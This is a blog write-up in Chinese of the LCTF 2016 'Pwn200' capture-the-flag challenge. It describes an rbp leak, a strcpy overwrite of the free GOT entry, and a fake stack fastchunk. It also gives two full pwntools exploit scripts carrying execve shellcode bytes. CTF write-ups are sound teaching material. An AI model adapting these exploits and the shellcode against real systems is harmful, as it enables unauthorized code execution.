Limu
Articles10
Tags3
Categories0
lctf_2016

lctf_2016

Pwn200

分析题目

本题没有任何的防护,有两个考虑方向,一个是不涉及堆的解法,另外一个是伪造fastchunk,得到一个可控的指针,进行任意地址写。

利用思路1

在输入名字的位置,存在泄露rbp的一个问题,就是在读取不到终止符的情况下,会继续向后输出,所以可以利用这个问题泄露rbp的值。

读取名字

然后在读取money的位置,存在我们可以利用strcpy的漏洞覆盖local_10的返回值,将free_got的内容修改为shellcode的地址。

注:strcpy函数:strcpy(*dest,*src),是将src的值写入到dest的里面,且返回dest的指针。

读取money

在获取money的函数中,输入56个A后的堆栈情况:

堆栈情况

我们可以看到,可以通过输出56个字符后继续输入8个字符修改strcpy复制的目标指针,我们可以选择覆盖free_got的位置为shellcode的位置,然后调用free函数实现getshell。

构造shellcode:

1
shellcode_addr + 任意字符*0x30 + free_got地址

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Author by: limu
# Terminal: i3
# Tools: pwntools
# Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal', "-e"]
context.arch = 'amd64'
elf = ELF('./pwn')

if sys.argv[1] == 'l':
p = process("./pwn")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3], sys.argv[4])

else:
print("wrong")
sys.exit()

# 启动调试
if sys.argv[2] == 'y':
gdb.attach(p, gdbscript='break main')
pause()

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p1 = shellcode.ljust(48,b'a')
p.sendafter(b'u?\n',p1)
p.recv(0x30)
addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))

p.sendlineafter(b'~~?',b'0')
p2 = p64(addr-0x50) + b'a' * 0x30 + p64(elf.got['free'])

p.sendafter(b'money~',p2)
p.recv()
p.sendline(b'2')
p.interactive()

利用思路2

通过在栈上构造fake_chunk,覆盖goodbye函数后的return地址(避开原来创建的大小为0x50的chunk)。构造的chunk在栈上的结构:

free之前的stack结构

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# Author by: limu
# Terminal: i3
# Tools: pwntools
# Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal', "-e"]
context.arch = 'amd64'
elf = ELF('./pwn')

if sys.argv[1] == 'l':
p = process("./pwn")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3], sys.argv[4])

else:
print("wrong")
sys.exit()

# 启动调试
if sys.argv[2] == 'y':
gdb.attach(p, gdbscript='break main')
pause()

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p1 = shellcode.ljust(48,b'a')

p.sendafter(b'u?\n',p1)
p.recv(0x30)
addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))
fake = addr - 0x90
code1 = addr - 0x50

p.sendlineafter(b'~~?',b'0')
p.recv()
p.sendline(p64(0) * 5 + p64(0x41) + p64(0) + p64(fake))

p.sendlineafter(b'choice : ',b'2')
p.sendlineafter(b'choice : ',b'1')

p.sendlineafter(b'\n',b'48')
p3 = b'a' * 0x18 + p64(code1)
p3 = p3.ljust(48, b'\x00')
p.sendlineafter(b'48\n',p3)
p.sendlineafter(b'choice : ',b'3')

p.interactive()
Author:Limu
Link:https://limu.ltd/2023/04/07/lctf-2016/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×